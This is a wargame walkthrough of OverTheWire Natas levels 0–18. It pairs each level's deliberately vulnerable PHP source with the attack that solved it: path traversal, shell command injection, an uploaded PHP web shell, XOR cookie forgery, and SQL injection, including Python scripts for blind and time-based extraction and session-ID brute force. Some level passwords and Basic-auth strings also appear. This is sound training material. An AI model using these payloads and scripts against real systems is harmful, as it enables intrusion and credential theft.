natas.labs.overthewire.org http://natasX.natas.labs.overthewire.org (web only)
level 0
<!--The password for natas1 is <credential-redacted> -->[credential redacted]
level 0->level 1
<!--The password for natas2 is <credential-redacted> -->[credential redacted]
level 1->level 2
http://natas2.natas.labs.overthewire.org/files/users.txt # username:passwordalice:BYNdCesZqW bob:jw2ueICLvT charlie:G5vCxkVV3mnatas3:<credential-redacted> eve:zo4mJWyNj2 mallory:9urtcpzBmH[credential redacted]
level 2->level 3
http://natas3.natas.labs.overthewire.org/robots.txt User-agent: * Disallow:/s3cr3t/ http://natas3.natas.labs.overthewire.org/s3cr3t/users.txtnatas4:<credential-redacted>[credential redacted]
level 3->level 4
referer=http://natas5.natas.labs.overthewire.org/ Access granted. The passwordfor natas5 is <credential-redacted>[credential redacted]
level 4->level 5
cookies loggedin=1 Access granted. The password for natas6 is<credential-redacted>[credential redacted]
level 5->level 6
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head><body><h1>natas6</h1><div id="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) {16 collapsed lines
print "Access granted. The password for natas7 is <censored>"; } else { print "Wrong secret"; } }?>
<form method=post>Input secret: <input name=secret><br><input type=submit name=submit></form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
http://natas6.natas.labs.overthewire.org/includes/secret.inc
<?$secret = "FOEIUWGHFEEUHOFUOIU";?>
Access granted. The password for natas7 is <credential-redacted>[credential redacted]
level 6->level 7
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../etc/natas_webpass/natas8<credential-redacted>[credential redacted]
level 7->level 8
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head><body><h1>natas8</h1><div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret)));32 collapsed lines
}
if(array_key_exists("submit", $_POST)) { if(encodeSecret($_POST['secret']) == $encodedSecret) { print "Access granted. The password for natas9 is <censored>"; } else { print "Wrong secret"; }}?>
<form method=post>Input secret: <input name=secret><br><input type=submit name=submit></form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
#########
<?php
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret)));}
$a=hex2bin($encodedSecret);$b=strrev($a);$c=base64_decode($b);?>
❯ php tmp.phpoubWYf2kBq
Access granted. The password for natas9 is <credential-redacted>[credential redacted]
level 8->level 9
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head><body><h1>natas9</h1><div id="content"><form>Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br></form>
Output:<pre>32 collapsed lines
<?$key = "";
if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"];}
if($key != "") { passthru("grep -i $key dictionary.txt");}?></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
http://natas9.natas.labs.overthewire.org/?needle=%3Bls+-la%3B&submit=Search
total 476drwxr-x--- 2 natas9 natas9 4096 Apr 10 14:18 .drwxr-xr-x 38 root root 4096 Apr 10 14:18 ..-rw-r----- 1 natas9 natas9 117 Apr 10 14:18 .htaccess-rw-r----- 1 natas9 natas9 45 Apr 10 14:18 .htpasswd-rw-r----- 1 natas9 natas9 460878 Apr 10 14:18 dictionary.txt-rw-r--r-- 1 root root 2924 Apr 10 14:18 index-source.html-rw-r----- 1 natas9 natas9 1185 Apr 10 14:18 index.php
http://natas9.natas.labs.overthewire.org/?needle=%3Bcat+.ht*%3B&submit=Search
AuthType Basic AuthName "Authentication required" AuthUserFile /var/www/natas/natas9/.htpasswd require valid-usernatas9:$apr1$nzkewIqM$eWV.KGZSkOVjbi/exvWjP/
http://natas9.natas.labs.overthewire.org/?needle=%3Bcat+%2Fetc%2Fnatas_webpass%2Fnatas10%3B&submit=Search
<credential-redacted>[credential redacted]
level 9->level 10
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head><body><h1>natas10</h1><div id="content">
For security reasons, we now filter on certain characters<br/><br/><form>Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br></form>
19 collapsed lines
Output:<pre><?$key = "";
if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"];}
if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); }}?></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
http://natas10.natas.labs.overthewire.org/?needle=.*+%2Fetc%2Fnatas_webpass%2Fnatas11&submit=Search
/etc/natas_webpass/natas11:<credential-redacted>[credential redacted]
level 10->level 11
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head><?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = '';
// Iterate through each character53 collapsed lines
for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; }
return $outText;}
function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata;}
function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d))));}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; }}
saveData($data);
?>
<h1>natas11</h1><div id="content"><body style="background: <?=$data['bgcolor']?>;">Cookies are protected with XOR encryption<br/><br/>
<?if($data["showpassword"] == "yes") { print "The password for natas12 is <censored><br>";}
?>
<form>Background color: <input name=bgcolor value="<?=$data['bgcolor']?>"><input type=submit value="Set color"></form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html><?php
function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = '';
// Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; }
return $outText;}
function xor_encrypt2($in, $key) { $text = $in; $outText = '';
for($i=0;$i<strlen($text);$i++) {47 collapsed lines
$outText .= $text[$i] ^ $key[$i % strlen($key)]; }
return $outText;}
function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata;}
function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d))));}
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$data = loadData($defaultdata);
$data="HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=";
$data=base64_decode($data);
// xor
$tmp=json_encode($defaultdata);
$key=xor_encrypt2($tmp, $data);
// printf($key)// ❯ php tmp.php// eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe%$key="eDWo";
$defaultdata["showpassword"]="yes";
$tmp=base64_encode(xor_encrypt2(json_encode($defaultdata),$key));
printf($tmp);
// ❯ php tmp.php// HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5%
?>cookies data=HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5 Thepassword for natas12 is <credential-redacted>[credential redacted]
level 11->level 12
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head><body><h1>natas12</h1><div id="content"><?php
function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = "";
39 collapsed lines
for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; }
return $string;}
function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path;}
function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext);}
if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } }} else {?>
<form enctype="multipart/form-data" action="index.php" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="1000" /><input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />Choose a JPEG to upload (max 1KB):<br/><input name="uploadedfile" type="file" /><br /><input type="submit" value="Upload File" /></form><?php } ?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>vim tmp.jpg<?php system($_GET["cmd"]);?>
# zap------geckoformboundaryec88367e3a04c8e1efd87e35792b76d1Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000------geckoformboundaryec88367e3a04c8e1efd87e35792b76d1Content-Disposition: form-data; name="filename"
e9lu0ymfqq.php------geckoformboundaryec88367e3a04c8e1efd87e35792b76d1Content-Disposition: form-data; name="uploadedfile"; filename="tmp.jpg"Content-Type: image/jpeg
<?php system($_GET["cmd"]);?>
------geckoformboundaryec88367e3a04c8e1efd87e35792b76d1--
http://natas12.natas.labs.overthewire.org/upload/r7tbah8unm.php/?cmd=cat%20/etc/natas_webpass/natas13
<credential-redacted>[credential redacted]
level 12->level 13
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head><body><h1>natas13</h1><div id="content">For security reasons, we now only accept image files!<br/><br/>
<?php
function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz";70 collapsed lines
$string = "";
for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; }
return $string;}
function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path;}
function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext);}
if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error']; if($err){ if($err === 2){ echo "The uploaded file exceeds MAX_FILE_SIZE"; } else{ echo "Something went wrong :/"; } } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } }} else {?>
<form enctype="multipart/form-data" action="index.php" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="1000" /><input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />Choose a JPEG to upload (max 1KB):<br/><input name="uploadedfile" type="file" /><br /><input type="submit" value="Upload File" /></form><?php } ?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
------geckoformboundaryc9c63be75e22dcee59a27dabb59bf4bcContent-Disposition: form-data; name="MAX_FILE_SIZE"
1000------geckoformboundaryc9c63be75e22dcee59a27dabb59bf4bcContent-Disposition: form-data; name="filename"
w2vw1fq0zt.php------geckoformboundaryc9c63be75e22dcee59a27dabb59bf4bcContent-Disposition: form-data; name="uploadedfile"; filename="tmp.jpg"Content-Type: image/jpeg
BMP<?php system($_GET["cmd"]);?>
------geckoformboundaryc9c63be75e22dcee59a27dabb59bf4bc--
http://natas13.natas.labs.overthewire.org/upload/ul46ottzp7.php?cmd=cat%20/etc/natas_webpass/natas13BMP<credential-redacted><credential-redacted>[credential redacted]
level 13->level 14
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas14", "pass": "<censored>" };</script></head><body><h1>natas14</h1><div id="content"><?phpif(array_key_exists("username", $_REQUEST)) { $link = mysqli_connect('localhost', 'natas14', '<censored>'); mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; if(array_key_exists("debug", $_GET)) {19 collapsed lines
echo "Executing query: $query<br>"; }
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) { echo "Successful login! The password for natas15 is <censored><br>"; } else { echo "Access denied!<br>"; } mysqli_close($link);} else {?>
<form action="index.php" method="POST">Username: <input name="username"><br>Password: <input name="password"><br><input type="submit" value="Login" /></form><?php } ?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
http://natas14.natas.labs.overthewire.org/index.phppost data=username="or true--&password="or true--
Successful login! The password for natas15 is <credential-redacted>[credential redacted]
level 14->level 15
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head><body><h1>natas15</h1><div id="content"><?php
/*CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL);27 collapsed lines
*/
if(array_key_exists("username", $_REQUEST)) { $link = mysqli_connect('localhost', 'natas15', '<censored>'); mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; }
$res = mysqli_query($link, $query); if($res) { if(mysqli_num_rows($res) > 0) { echo "This user exists.<br>"; } else { echo "This user doesn't exist.<br>"; } } else { echo "Error in query.<br>"; }
mysqli_close($link);} else {?>
<form action="index.php" method="POST">Username: <input name="username"><br><input type="submit" value="Check existence" /></form><?php } ?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>#!/usr/bin/env python
import requestsimport string
a = string.ascii_letters + string.digits# POST http://natas15.natas.labs.overthewire.org/index.php?debug HTTP/1.1# host: natas15.natas.labs.overthewire.org# User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8# Accept-Language: en-US,en;q=0.5# Content-Type: application/x-www-form-urlencoded# content-length: 46# Origin: http://natas15.natas.labs.overthewire.org# Authorization: Basic bmF0YXMxNTpTZHFJcUJzRmN6M3lvdGxOWUVyWlNad2Jsa20wbHJ2eA==
# ❯ echo bmF0YXMxNTpTZHFJcUJzRmN6M3lvdGxOWUVyWlNad2Jsa20wbHJ2eA== | base64 -d# natas15:<credential-redacted>
# Connection: keep-alive16 collapsed lines
# Referer: http://natas15.natas.labs.overthewire.org/# Upgrade-Insecure-Requests: 1# Priority: u=0, i
# username=natas16" and password LIKE BINARY "a%
url = "http://natas15.natas.labs.overthewire.org/index.php?debug"auth = ("natas15", "<credential-redacted>")con = 32data = {"username": 'natas16" AND password LIKE BINARY "a%'}
ans = 'hPkjKYviLQctEW33QmuXL6eDVfMW4'
sub = 'doesn'
while True: for i in a: print(f"i={i}") data = {"username": f'natas16" AND password LIKE BINARY"{ans+i}%'} response = requests.post(url=url,data=data,auth=auth) if not sub in response.text: ans += i print(ans) print(f"len {len(ans)}")❯ python tmp.py 2>/dev/null...<credential-redacted>[credential redacted]
level 15->level 16
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head><body><h1>natas16</h1><div id="content">
For security reasons, we now filter even more on certain characters<br/><br/><form>Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br></form>
43 collapsed lines
Output:<pre><?$key = "";
if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"];}
if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); }}?></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
grep -i pass dictionary.txt
$(grep -o ^. /etc/natas_webpass/natas17)
AmericanAmericanismAmericanism'sAmericanismsAmericansBritisherCelsiusCelsiusesChristianitiesChristmasesCongressCongress'sDecemberDecember'sDecembersEE'sEaster...
$(grep E /etc/natas_webpass/natas17)
nothing#!/usr/bin/env python
import requestsimport string
a = string.ascii_letters + string.digitspasslen = 32
# GET /?needle=%24%28grep+-o+%5E.+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search HTTP/1.1# Host: natas16.natas.labs.overthewire.org# User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8# Accept-Language: en# Accept-Encoding: gzip, deflate# DNT: 1# Sec-GPC: 1# Authorization: Basic bmF0YXMxNjpoUGtqS1l2aUxRY3RFVzMzUW11WEw2ZURWZk1XNHNHbw==# Connection: keep-alive# Referer: http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+a+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search# Upgrade-Insecure-Requests: 134 collapsed lines
# Priority: u=0, i
url = "http://natas16.natas.labs.overthewire.org/"auth = ("natas16", "<credential-redacted>")parmas={"needle": '$(grep E /etc/natas_webpass/natas17)',"submit":"Search"}sub = 'American'# ans = 'EqjHJbo7LFNb8'requests.Timeout=10
# response=requests.get(url=url,params=parmas,auth=auth)# print(response.text)
# https://jhalon.github.io/over-the-wire-natas3/# exist=''# for x in a:# parmas={"needle": f'$(grep {x} /etc/natas_webpass/natas17)',"submit":"Search"}# response=requests.get(url=url,params=parmas,auth=auth)# if not sub in response.text:# exist += x# print('using: '+exist)
exist='bhjkoqsvwCEFHJLNOT05789'
ans='EqjHJbo7LFNb8vwhHb'
ans=input()print(ans)
while True: for i in exist: print(i) parmas={"needle": f'$(grep ^{ans+i} /etc/natas_webpass/natas17)',"submit":"Search"} response=requests.get(url=url,params=parmas,auth=auth)
if not sub in response.text: ans += i print(ans) print(f"len {len(ans)}") if len(ans)==32: exit()
# EqjHJbo7LFNb8vwhHb9s75hokh5TF0OClevel 16->level 17
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head><body><h1>natas17</h1><div id="content"><?php
/*CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL);29 collapsed lines
*/
if(array_key_exists("username", $_REQUEST)) { $link = mysqli_connect('localhost', 'natas17', '<censored>'); mysqli_select_db($link, 'natas17');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; }
$res = mysqli_query($link, $query); if($res) { if(mysqli_num_rows($res) > 0) { //echo "This user exists.<br>"; } else { //echo "This user doesn't exist.<br>"; } } else { //echo "Error in query.<br>"; }
mysqli_close($link);} else {?>
<form action="index.php" method="POST">Username: <input name="username"><br><input type="submit" value="Check existence" /></form><?php } ?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
username=natas18" AND IF(ASCII(SUBSTRING(password,1,1)) > 50,sleep(5),1)-- -#!/usr/bin/env python
import timeimport requestsimport string
PASSLEN = 32url = "http://natas17.natas.labs.overthewire.org/index.php"auth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")data={'username':'natas18" AND IF(ASCII(SUBSTRING(password,1,1)) > 50,sleep(5),1)-- -'}
ans=''
for i in range(1,33): a=48 b=122 while a<b: j = (b+a)//2 print(j)
data={'username':f'natas18" AND IF(ASCII(SUBSTRING(password,{i},1)) > {j},sleep(3),1)-- -'} sta=time.time() response=requests.post(url=url,data=data,auth=auth) end=time.time() t=end-sta
if t>3: a=j+1 else: b=j
ans += chr(a) print(ans)
# <credential-redacted>[credential redacted]
level 17->level 18
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head><body><h1>natas18</h1><div id="content"><?php
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */ if($_REQUEST["username"] == "admin") { /* This method of authentication appears to be unsafe and has been disabled for now. */74 collapsed lines
//return 1; }
return 0;}/* }}} */function isValidID($id) { /* {{{ */ return is_numeric($id);}/* }}} */function createID($user) { /* {{{ */ global $maxid; return rand(1, $maxid);}/* }}} */function debug($msg) { /* {{{ */ if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; }}/* }}} */function my_session_start() { /* {{{ */ if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { if(!session_start()) { debug("Session start failed"); return false; } else { debug("Session start ok"); if(!array_key_exists("admin", $_SESSION)) { debug("Session was old: admin flag set"); $_SESSION["admin"] = 0; // backwards compatible, secure } return true; } }
return false;}/* }}} */function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas19\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; }}/* }}} */
$showform = true;if(my_session_start()) { print_credentials(); $showform = false;} else { if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { session_id(createID($_REQUEST["username"])); session_start(); $_SESSION["admin"] = isValidAdminLogin(); debug("New session started"); $showform = false; print_credentials(); }}
if($showform) {?>
<p>Please login with your admin account to retrieve credentials for natas19.</p>
<form action="index.php" method="POST">Username: <input name="username"><br>Password: <input name="password"><br><input type="submit" value="Login" /></form><?php } ?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>#!/usr/bin/env python
import timeimport requests
PASSLEN = 32url = "http://natas18.natas.labs.overthewire.org/index.php"auth = ("natas18", "<credential-redacted>")
# cookie={'PHPSESSID':'1'}# response=requests.post(url=url,cookies=cookie,auth=auth)# print(response.text)# print(len(response.text))# 983
sta=89
for i in range(sta,641): print(i) cookie={'PHPSESSID':f'{i}'}17 collapsed lines
response=requests.post(url=url,cookies=cookie,auth=auth) if len(response.text)!=983: print(response.text)
